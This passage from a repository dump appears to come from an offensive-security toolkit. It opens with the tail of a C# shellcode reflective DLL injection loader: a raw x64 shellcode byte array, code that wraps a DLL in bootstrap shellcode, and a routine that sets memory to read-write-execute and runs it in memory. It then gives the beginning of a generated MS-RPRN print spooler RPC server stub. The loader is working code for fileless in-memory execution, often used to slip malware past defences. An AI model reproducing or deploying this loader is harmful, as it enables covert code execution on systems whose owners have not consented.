0x05, 0x8D, 0x5A, 0x10, 0xEB, 0x22, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x1A, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x13, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x59, 0x20, 0xEB, 0x0A, 0x85, 0xC9, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x0F, 0x45, 0xD8, 0x41, 0x8B, 0x4E, 0xE8, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x56, 0xEC, 0x8B, 0xC3, 0x0F, 0xBA, 0xE8, 0x09, 0x41, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC3, 0x48, 0x03, 0xCE, 0x44, 0x8B, 0xC0, 0x8B, 0xD8, 0x41, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x84, 0xA1, 0xFC, 0xFF, 0xFF, 0x49, 0x83, 0xC6, 0x28, 0x48, 0x85, 0xED, 0x0F, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x44, 0x8D, 0x6D, 0x02, 0x8B, 0x5F, 0x28, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0xDE, 0x41, 0xFF, 0xD4, 0xBD, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x8B, 0xD5, 0xFF, 0xD3, 0x45, 0x85, 0xFF, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x83, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x5A, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x78, 0x83, 0x7A, 0x14, 0x00, 0x74, 0x72, 0x44, 0x8B, 0x52, 0x20, 0x33, 0xDB, 0x44, 0x8B, 0x4A, 0x24, 0x4C, 0x03, 0xD6, 0x4C, 0x03, 0xCE, 0x45, 0x85, 0xDB, 0x74, 0x5D, 0x45, 0x8B, 0x02, 0x4C, 0x03, 0xC6, 0x33, 0xC9, 0x41, 0x0F, 0xBE, 0x00, 0x4C, 0x03, 0xC5, 0xC1, 0xC9, 0x0D, 0x03, 0xC8, 0x41, 0x80, 0x78, 0xFF, 0x00, 0x75, 0xED, 0x44, 0x3B, 0xF9, 0x74, 0x10, 0x03, 0xDD, 0x49, 0x83, 0xC2, 0x04, 0x4D, 0x03, 0xCD, 0x41, 0x3B, 0xDB, 0x72, 0xD2, 0xEB, 0x2D, 0x41, 0x0F, 0xB7, 0x01, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x8B, 0x52, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x48, 0x03, 0xC6, 0x44, 0x8B, 0x04, 0x02, 0x8B, 0x94, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0xC6, 0x48, 0x83, 0xC4, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3 }; 555 | var newShellcode = new List(); 556 | 557 | uint dllOffset = 0; 558 | 559 | if (PE.Is64BitDLL(dllBytes)) 560 | { 561 | var rdiShellcode = rdiShellcode64; 562 | int bootstrapSize = 64; 563 | 564 | // call next instruction (Pushes next instruction address to stack) 565 | newShellcode.Add(0xe8); 566 | newShellcode.Add(0x00); 567 | newShellcode.Add(0x00); 568 | newShellcode.Add(0x00); 569 | newShellcode.Add(0x00); 570 | 571 | // Set the offset to our DLL from pop result 572 | dllOffset = (uint)(bootstrapSize - newShellcode.Count + rdiShellcode.Length); 573 | 574 | // pop rcx - Capture our current location in memory 575 | newShellcode.Add(0x59); 576 | 577 | // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX 578 | newShellcode.Add(0x49); 579 | newShellcode.Add(0x89); 580 | newShellcode.Add(0xc8); 581 | 582 | // Setup the location of the DLL into RCX 583 | // add rcx, 584 | newShellcode.Add(0x48); 585 | newShellcode.Add(0x81); 586 | newShellcode.Add(0xc1); 587 | foreach (byte b in BitConverter.GetBytes(dllOffset)) 588 | newShellcode.Add(b); 589 | 590 | // mov edx, 591 | newShellcode.Add(0xba); 592 | foreach (byte b in BitConverter.GetBytes(functionHash)) 593 | newShellcode.Add(b); 594 | 595 | // Put the location of our user data in 596 | // add r8, + 597 | newShellcode.Add(0x49); 598 | newShellcode.Add(0x81); 599 | newShellcode.Add(0xc0); 600 | foreach (byte b in BitConverter.GetBytes((uint)(dllOffset + dllBytes.Length))) 601 | newShellcode.Add(b); 602 | 603 | // mov r9d, 604 | newShellcode.Add(0x41); 605 | newShellcode.Add(0xb9); 606 | foreach (byte b in BitConverter.GetBytes((uint)userData.Length)) 607 | newShellcode.Add(b); 608 | 609 | // push rsi - save original value 610 | newShellcode.Add(0x56); 611 | 612 | // mov rsi, rsp - store our current stack pointer for later 613 | newShellcode.Add(0x48); 614 | newShellcode.Add(0x89); 615 | newShellcode.Add(0xe6); 616 | 617 | // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes 618 | newShellcode.Add(0x48); 619 | newShellcode.Add(0x83); 620 | newShellcode.Add(0xe4); 621 | newShellcode.Add(0xf0); 622 | 623 | // sub rsp, 0x30 - Create some breathing room on the stack 624 | newShellcode.Add(0x48); 625 | newShellcode.Add(0x83); 626 | newShellcode.Add(0xec); 627 | newShellcode.Add(6 * 8); // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment 628 | 629 | // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space 630 | newShellcode.Add(0xc7); 631 | newShellcode.Add(0x44); 632 | newShellcode.Add(0x24); 633 | newShellcode.Add(4 * 8); 634 | foreach (byte b in BitConverter.GetBytes((uint)flags)) 635 | newShellcode.Add(b); 636 | 637 | // call - Transfer execution to the RDI 638 | newShellcode.Add(0xe8); 639 | newShellcode.Add((byte)(bootstrapSize - newShellcode.Count - 4)); // Skip over the remainder of instructions 640 | newShellcode.Add(0x00); 641 | newShellcode.Add(0x00); 642 | newShellcode.Add(0x00); 643 | 644 | // mov rsp, rsi - Reset our original stack pointer 645 | newShellcode.Add(0x48); 646 | newShellcode.Add(0x89); 647 | newShellcode.Add(0xf4); 648 | 649 | // pop rsi - Put things back where we left them 650 | newShellcode.Add(0x5e); 651 | 652 | // ret - return to caller 653 | newShellcode.Add(0xc3); 654 | 655 | // Write the rest of RDI 656 | foreach (byte b in rdiShellcode) 657 | newShellcode.Add(b); 658 | 659 | // Write our DLL 660 | foreach (byte b in dllBytes) 661 | newShellcode.Add(b); 662 | 663 | // Write our userdata 664 | foreach (byte b in userData) 665 | newShellcode.Add(b); 666 | 667 | } 668 | else // 32 Bit 669 | { 670 | var rdiShellcode = rdiShellcode32; 671 | int bootstrapSize = 45; 672 | 673 | // call next instruction (Pushes next instruction address to stack) 674 | newShellcode.Add(0xe8); 675 | newShellcode.Add(0x00); 676 | newShellcode.Add(0x00); 677 | newShellcode.Add(0x00); 678 | newShellcode.Add(0x00); 679 | 680 | // Set the offset to our DLL from pop result 681 | dllOffset = (uint)(bootstrapSize - newShellcode.Count + rdiShellcode.Length); 682 | 683 | // pop ecx - Capture our current location in memory 684 | newShellcode.Add(0x58); 685 | 686 | // mov ebx, eax - copy our location in memory to ebx before we start modifying eax 687 | newShellcode.Add(0x89); 688 | newShellcode.Add(0xc3); 689 | 690 | // add eax, 691 | newShellcode.Add(0x05); 692 | foreach (byte b in BitConverter.GetBytes(dllOffset)) 693 | newShellcode.Add(b); 694 | 695 | // add ebx, + 696 | newShellcode.Add(0x81); 697 | newShellcode.Add(0xc3); 698 | foreach (byte b in BitConverter.GetBytes((uint)(dllOffset + dllBytes.Length))) 699 | newShellcode.Add(b); 700 | 701 | // push 702 | newShellcode.Add(0x68); 703 | foreach (byte b in BitConverter.GetBytes(flags)) 704 | newShellcode.Add(b); 705 | 706 | // push 707 | newShellcode.Add(0x68); 708 | foreach (byte b in BitConverter.GetBytes((uint)userData.Length)) 709 | newShellcode.Add(b); 710 | 711 | // push ebx 712 | newShellcode.Add(0x53); 713 | 714 | // push 715 | newShellcode.Add(0x68); 716 | foreach (byte b in BitConverter.GetBytes(functionHash)) 717 | newShellcode.Add(b); 718 | 719 | // push eax 720 | newShellcode.Add(0x50); 721 | 722 | // call - Transfer execution to the RDI 723 | newShellcode.Add(0xe8); 724 | newShellcode.Add((byte)(bootstrapSize - newShellcode.Count - 4)); // Skip over the remainder of instructions 725 | newShellcode.Add(0x00); 726 | newShellcode.Add(0x00); 727 | newShellcode.Add(0x00); 728 | 729 | // add esp, 0x14 - correct the stack pointer 730 | newShellcode.Add(0x83); 731 | newShellcode.Add(0xc4); 732 | newShellcode.Add(0x14); 733 | 734 | // ret - return to caller 735 | newShellcode.Add(0xc3); 736 | 737 | //Write the rest of RDI 738 | foreach (byte b in rdiShellcode) 739 | newShellcode.Add(b); 740 | 741 | //Write our DLL 742 | dllBytes[0] = 0x00; 743 | dllBytes[1] = 0x00; 744 | foreach (byte b in dllBytes) 745 | newShellcode.Add(b); 746 | 747 | //Write our userdata 748 | foreach (byte b in userData) 749 | newShellcode.Add(b); 750 | } 751 | 752 | return newShellcode.ToArray(); 753 | } 754 | 755 | public static void CallExportedFunction(byte[] dll, string exportName, byte[] argumentBytes) 756 | { 757 | byte[] shellcode = null; 758 | 759 | // 0x30627745 - 'SayHello' - FunctionToHash.py (Meh, I'm too lazy to change this) 760 | shellcode = RDILoader.ConvertToShellcode(dll, 0x30627745, argumentBytes, 0); 761 | Console.WriteLine("[+] Converted DLL to shellcode"); 762 | 763 | GCHandle scHandle = GCHandle.Alloc(shellcode, GCHandleType.Pinned); 764 | IntPtr scPointer = scHandle.AddrOfPinnedObject(); 765 | uint flOldProtect; 766 | 767 | // Only set the first page to RWX 768 | // This is should sufficiently cover the sRDI shellcode up top 769 | if (!Native.VirtualProtect(scPointer, (UIntPtr)4096, Native.PAGE_EXECUTE_READWRITE, out flOldProtect)) 770 | { 771 | Console.WriteLine("[!] Failed to set memory flags"); 772 | return; 773 | } 774 | 775 | ReflectiveLoader reflectiveLoader = (ReflectiveLoader)Marshal.GetDelegateForFunctionPointer(scPointer, typeof(ReflectiveLoader)); 776 | 777 | Console.WriteLine("[+] Executing RDI"); 778 | 779 | IntPtr peLocation = reflectiveLoader(); 780 | 781 | IntPtr expFunctionLocation = PE.GetProcAddressR(peLocation, exportName); 782 | if (expFunctionLocation != IntPtr.Zero) 783 | { 784 | ExportedFunction exportedFunction = (ExportedFunction)Marshal.GetDelegateForFunctionPointer(expFunctionLocation, typeof(ExportedFunction)); 785 | GCHandle userDataHandle = GCHandle.Alloc(argumentBytes, GCHandleType.Pinned); 786 | IntPtr userDataPointer = userDataHandle.AddrOfPinnedObject(); 787 | 788 | Console.WriteLine("[+] Calling exported function"); 789 | 790 | exportedFunction(userDataPointer, (uint)argumentBytes.Length); 791 | } 792 | } 793 | } 794 | } 795 | -------------------------------------------------------------------------------- /MS-RPRN/ms-rprn_s.c: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the RPC server stubs */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0622 */ 7 | /* at Mon Jan 18 22:14:07 2038 8 | */ 9 | /* Compiler settings for ms-rprn.idl: 10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 11 | protocol : all , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | #if defined(_M_AMD64) 20 | 21 | 22 | #if _MSC_VER >= 1200 23 | #pragma warning(push) 24 | #endif 25 | 26 | #pragma warning( disable: 4211 ) /* redefine extern to static */ 27 | #pragma warning( disable: 4232 ) /* dllimport identity*/ 28 | #pragma warning( disable: 4024 ) /* array to pointer mapping*/ 29 | 30 | #include 31 | #include "ms-rprn_h.h" 32 | 33 | #define TYPE_FORMAT_STRING_SIZE 135 34 | #define PROC_FORMAT_STRING_SIZE 2383 35 | #define EXPR_FORMAT_STRING_SIZE 1 36 | #define TRANSMIT_AS_TABLE_SIZE 0 37 | #define WIRE_MARSHAL_TABLE_SIZE 0 38 | 39 | typedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING 40 | { 41 | short Pad; 42 | unsigned char Format[ TYPE_FORMAT_STRING_SIZE ]; 43 | } ms2Drprn_MIDL_TYPE_FORMAT_STRING; 44 | 45 | typedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING 46 | { 47 | short Pad; 48 | unsigned char Format[ PROC_FORMAT_STRING_SIZE ]; 49 | } ms2Drprn_MIDL_PROC_FORMAT_STRING; 50 | 51 | typedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING 52 | { 53 | long Pad; 54 | unsigned char Format[ EXPR_FORMAT_STRING_SIZE ]; 55 | } ms2Drprn_MIDL_EXPR_FORMAT_STRING; 56 | 57 | 58 | static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax = 59 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}; 60 | 61 | static const RPC_SYNTAX_IDENTIFIER _NDR64_RpcTransferSyntax = 62 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}; 63 | 64 | 65 | extern const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString; 66 | extern const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString; 67 | extern const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString; 68 | 69 | /* Standard interface: winspool, ver. 1.0, 70 | GUID={0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}} */ 71 | 72 | 73 | extern const MIDL_SERVER_INFO winspool_ServerInfo; 74 | static const RPC_PROTSEQ_ENDPOINT __RpcProtseqEndpoint[] = 75 | { 76 | {(unsigned char *) "ncacn_np", (unsigned char *) "\\pipe\\spoolss"} 77 | }; 78 | 79 | 80 | extern const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable; 81 | 82 | static const RPC_SERVER_INTERFACE winspool___RpcServerInterface = 83 | { 84 | sizeof(RPC_SERVER_INTERFACE), 85 | {{0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}},{1,0}}, 86 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, 87 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable, 88 | 1, 89 | (RPC_PROTSEQ_ENDPOINT *)__RpcProtseqEndpoint, 90 | 0, 91 | &winspool_ServerInfo, 92 | 0x06000000 93 | }; 94 | RPC_IF_HANDLE winspool_v1_0_s_ifspec = (RPC_IF_HANDLE)& winspool___RpcServerInterface; 95 | 96 | extern const MIDL_STUB_DESC winspool_StubDesc; 97 | 98 | extern const NDR_RUNDOWN RundownRoutines[]; 99 | 100 | #if !defined(__RPC_WIN64__) 101 | #error Invalid build platform for this stub. 102 | #endif 103 | 104 | static const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString = 105 | { 106 | 0, 107 | { 108 | 109 | /* Procedure RpcEnumPrinters */ 110 | 111 | 0x0, /* 0 */ 112 | 0x48, /* Old Flags: */ 113 | /* 2 */ NdrFcLong( 0x0 ), /* 0 */ 114 | /* 6 */ NdrFcShort( 0x0 ), /* 0 */ 115 | /* 8 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 116 | /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */ 117 | 0x0, /* 0 */ 118 | /* 12 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 119 | /* 14 */ NdrFcShort( 0x0 ), /* 0 */ 120 | /* 16 */ NdrFcShort( 0x8 ), /* 8 */ 121 | /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */ 122 | 0x1, /* 1 */ 123 | /* 20 */ 0xa, /* 10 */ 124 | 0x1, /* Ext Flags: new corr desc, */ 125 | /* 22 */ NdrFcShort( 0x0 ), /* 0 */ 126 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */ 127 | /* 26 */ NdrFcShort( 0x0 ), /* 0 */ 128 | /* 28 */ NdrFcShort( 0x0 ), /* 0 */ 129 | 130 | /* Return value */ 131 | 132 | /* 30 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 133 | /* 32 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 134 | /* 34 */ 0x8, /* FC_LONG */ 135 | 0x0, /* 0 */ 136 | 137 | /* Procedure RpcOpenPrinter */ 138 | 139 | /* 36 */ 0x0, /* 0 */ 140 | 0x48, /* Old Flags: */ 141 | /* 38 */ NdrFcLong( 0x0 ), /* 0 */ 142 | /* 42 */ NdrFcShort( 0x1 ), /* 1 */ 143 | /* 44 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ 144 | /* 46 */ 0x31, /* FC_BIND_GENERIC */ 145 | 0x8, /* 8 */ 146 | /* 48 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 147 | /* 50 */ 0x0, /* 0 */ 148 | 0x5c, /* FC_PAD */ 149 | /* 52 */ NdrFcShort( 0x8 ), /* 8 */ 150 | /* 54 */ NdrFcShort( 0x40 ), /* 64 */ 151 | /* 56 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 152 | 0x6, /* 6 */ 153 | /* 58 */ 0xa, /* 10 */ 154 | 0x5, /* Ext Flags: new corr desc, srv corr check, */ 155 | /* 60 */ NdrFcShort( 0x0 ), /* 0 */ 156 | /* 62 */ NdrFcShort( 0x1 ), /* 1 */ 157 | /* 64 */ NdrFcShort( 0x0 ), /* 0 */ 158 | /* 66 */ NdrFcShort( 0x0 ), /* 0 */ 159 | 160 | /* Parameter pPrinterName */ 161 | 162 | /* 68 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 163 | /* 70 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 164 | /* 72 */ NdrFcShort( 0x2 ), /* Type Offset=2 */ 165 | 166 | /* Parameter pHandle */ 167 | 168 | /* 74 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ 169 | /* 76 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 170 | /* 78 */ NdrFcShort( 0xa ), /* Type Offset=10 */ 171 | 172 | /* Parameter pDatatype */ 173 | 174 | /* 80 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 175 | /* 82 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 176 | /* 84 */ NdrFcShort( 0x2 ), /* Type Offset=2 */ 177 | 178 | /* Parameter pDevModeContainer */ 179 | 180 | /* 86 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ 181 | /* 88 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 182 | /* 90 */ NdrFcShort( 0x1e ), /* Type Offset=30 */ 183 | 184 | /* Parameter AccessRequired */ 185 | 186 | /* 92 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 187 | /* 94 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 188 | /* 96 */ 0x8, /* FC_LONG */ 189 | 0x0, /* 0 */ 190 | 191 | /* Return value */ 192 | 193 | /* 98 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 194 | /* 100 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 195 | /* 102 */ 0x8, /* FC_LONG */ 196 | 0x0, /* 0 */ 197 | 198 | /* Procedure RpcSetJob */ 199 | 200 | /* 104 */ 0x0, /* 0 */ 201 | 0x48, /* Old Flags: */ 202 | /* 106 */ NdrFcLong( 0x0 ), /* 0 */ 203 | /* 110 */ NdrFcShort( 0x2 ), /* 2 */ 204 | /* 112 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 205 | /* 114 */ 0x32, /* FC_BIND_PRIMITIVE */ 206 | 0x0, /* 0 */ 207 | /* 116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 208 | /* 118 */ NdrFcShort( 0x0 ), /* 0 */ 209 | /* 120 */ NdrFcShort( 0x8 ), /* 8 */ 210 | /* 122 */ 0x44, /* Oi2 Flags: has return, has ext, */ 211 | 0x1, /* 1 */ 212 | /* 124 */ 0xa, /* 10 */ 213 | 0x1, /* Ext Flags: new corr desc, */ 214 | /* 126 */ NdrFcShort( 0x0 ), /* 0 */ 215 | /* 128 */ NdrFcShort( 0x0 ), /* 0 */ 216 | /* 130 */ NdrFcShort( 0x0 ), /* 0 */ 217 | /* 132 */ NdrFcShort( 0x0 ), /* 0 */ 218 | 219 | /* Return value */ 220 | 221 | /* 134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 222 | /* 136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 223 | /* 138 */ 0x8, /* FC_LONG */ 224 | 0x0, /* 0 */ 225 | 226 | /* Procedure RpcGetJob */ 227 | 228 | /* 140 */ 0x0, /* 0 */ 229 | 0x48, /* Old Flags: */ 230 | /* 142 */ NdrFcLong( 0x0 ), /* 0 */ 231 | /* 146 */ NdrFcShort( 0x3 ), /* 3 */ 232 | /* 148 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 233 | /* 150 */ 0x32, /* FC_BIND_PRIMITIVE */ 234 | 0x0, /* 0 */ 235 | /* 152 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 236 | /* 154 */ NdrFcShort( 0x0 ), /* 0 */ 237 | /* 156 */ NdrFcShort( 0x8 ), /* 8 */ 238 | /* 158 */ 0x44, /* Oi2 Flags: has return, has ext, */ 239 | 0x1, /* 1 */ 240 | /* 160 */ 0xa, /* 10 */ 241 | 0x1, /* Ext Flags: new corr desc, */ 242 | /* 162 */ NdrFcShort( 0x0 ), /* 0 */ 243 | /* 164 */ NdrFcShort( 0x0 ), /* 0 */ 244 | /* 166 */ NdrFcShort( 0x0 ), /* 0 */ 245 | /* 168 */ NdrFcShort( 0x0 ), /* 0 */ 246 | 247 | /* Return value */ 248 | 249 | /* 170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 250 | /* 172 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 251 | /* 174 */ 0x8, /* FC_LONG */ 252 | 0x0, /* 0 */ 253 | 254 | /* Procedure RpcEnumJobs */ 255 | 256 | /* 176 */ 0x0, /* 0 */ 257 | 0x48, /* Old Flags: */ 258 | /* 178 */ NdrFcLong( 0x0 ), /* 0 */ 259 | /* 182 */ NdrFcShort( 0x4 ), /* 4 */ 260 | /* 184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 261 | /* 186 */ 0x32, /* FC_BIND_PRIMITIVE */ 262 | 0x0, /* 0 */ 263 | /* 188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 264 | /* 190 */ NdrFcShort( 0x0 ), /* 0 */ 265 | /* 192 */ NdrFcShort( 0x8 ), /* 8 */ 266 | /* 194 */ 0x44, /* Oi2 Flags: has return, has ext, */ 267 | 0x1, /* 1 */ 268 | /* 196 */ 0xa, /* 10 */ 269 | 0x1, /* Ext Flags: new corr desc, */ 270 | /* 198 */ NdrFcShort( 0x0 ), /* 0 */ 271 | /* 200 */ NdrFcShort( 0x0 ), /* 0 */ 272 | /* 202 */ NdrFcShort( 0x0 ), /* 0 */ 273 | /* 204 */ NdrFcShort( 0x0 ), /* 0 */ 274 | 275 | /* Return value */ 276 | 277 | /* 206 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 278 | /* 208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 279 | /* 210 */ 0x8, /* FC_LONG */ 280 | 0x0, /* 0 */ 281 | 282 | /* Procedure RpcAddPrinter */ 283 | 284 | /* 212 */ 0x0, /* 0 */ 285 | 0x48, /* Old Flags: */ 286 | /* 214 */ NdrFcLong( 0x0 ), /* 0 */ 287 | /* 218 */ NdrFcShort( 0x5 ), /* 5 */ 288 | /* 220 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 289 | /* 222 */ 0x32, /* FC_BIND_PRIMITIVE */ 290 | 0x0, /* 0 */ 291 | /* 224 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 292 | /* 226 */ NdrFcShort( 0x0 ), /* 0 */ 293 | /* 228 */ NdrFcShort( 0x8 ), /* 8 */ 294 | /* 230 */ 0x44, /* Oi2 Flags: has return, has ext, */ 295 | 0x1, /* 1 */ 296 | /* 232 */ 0xa, /* 10 */ 297 | 0x1, /* Ext Flags: new corr desc, */ 298 | /* 234 */ NdrFcShort( 0x0 ), /* 0 */ 299 | /* 236 */ NdrFcShort( 0x0 ), /* 0 */ 300 | /* 238 */ NdrFcShort( 0x0 ), /* 0 */ 301 | /* 240 */ NdrFcShort( 0x0 ), /* 0 */ 302 | 303 | /* Return value */ 304 | 305 | /* 242 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 306 | /* 244 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 307 | /* 246 */ 0x8, /* FC_LONG */ 308 | 0x0, /* 0 */ 309 | 310 | /* Procedure RpcDeletePrinter */ 311 | 312 | /* 248 */ 0x0, /* 0 */ 313 | 0x48, /* Old Flags: */ 314 | /* 250 */ NdrFcLong( 0x0 ), /* 0 */ 315 | /* 254 */ NdrFcShort( 0x6 ), /* 6 */ 316 | /* 256 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 317 | /* 258 */ 0x32, /* FC_BIND_PRIMITIVE */ 318 | 0x0, /* 0 */ 319 | /* 260 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 320 | /* 262 */ NdrFcShort( 0x0 ), /* 0 */ 321 | /* 264 */ NdrFcShort( 0x8 ), /* 8 */ 322 | /* 266 */ 0x44, /* Oi2 Flags: has return, has ext, */ 323 | 0x1, /* 1 */ 324 | /* 268 */ 0xa, /* 10 */ 325 | 0x1, /* Ext Flags: new corr desc, */ 326 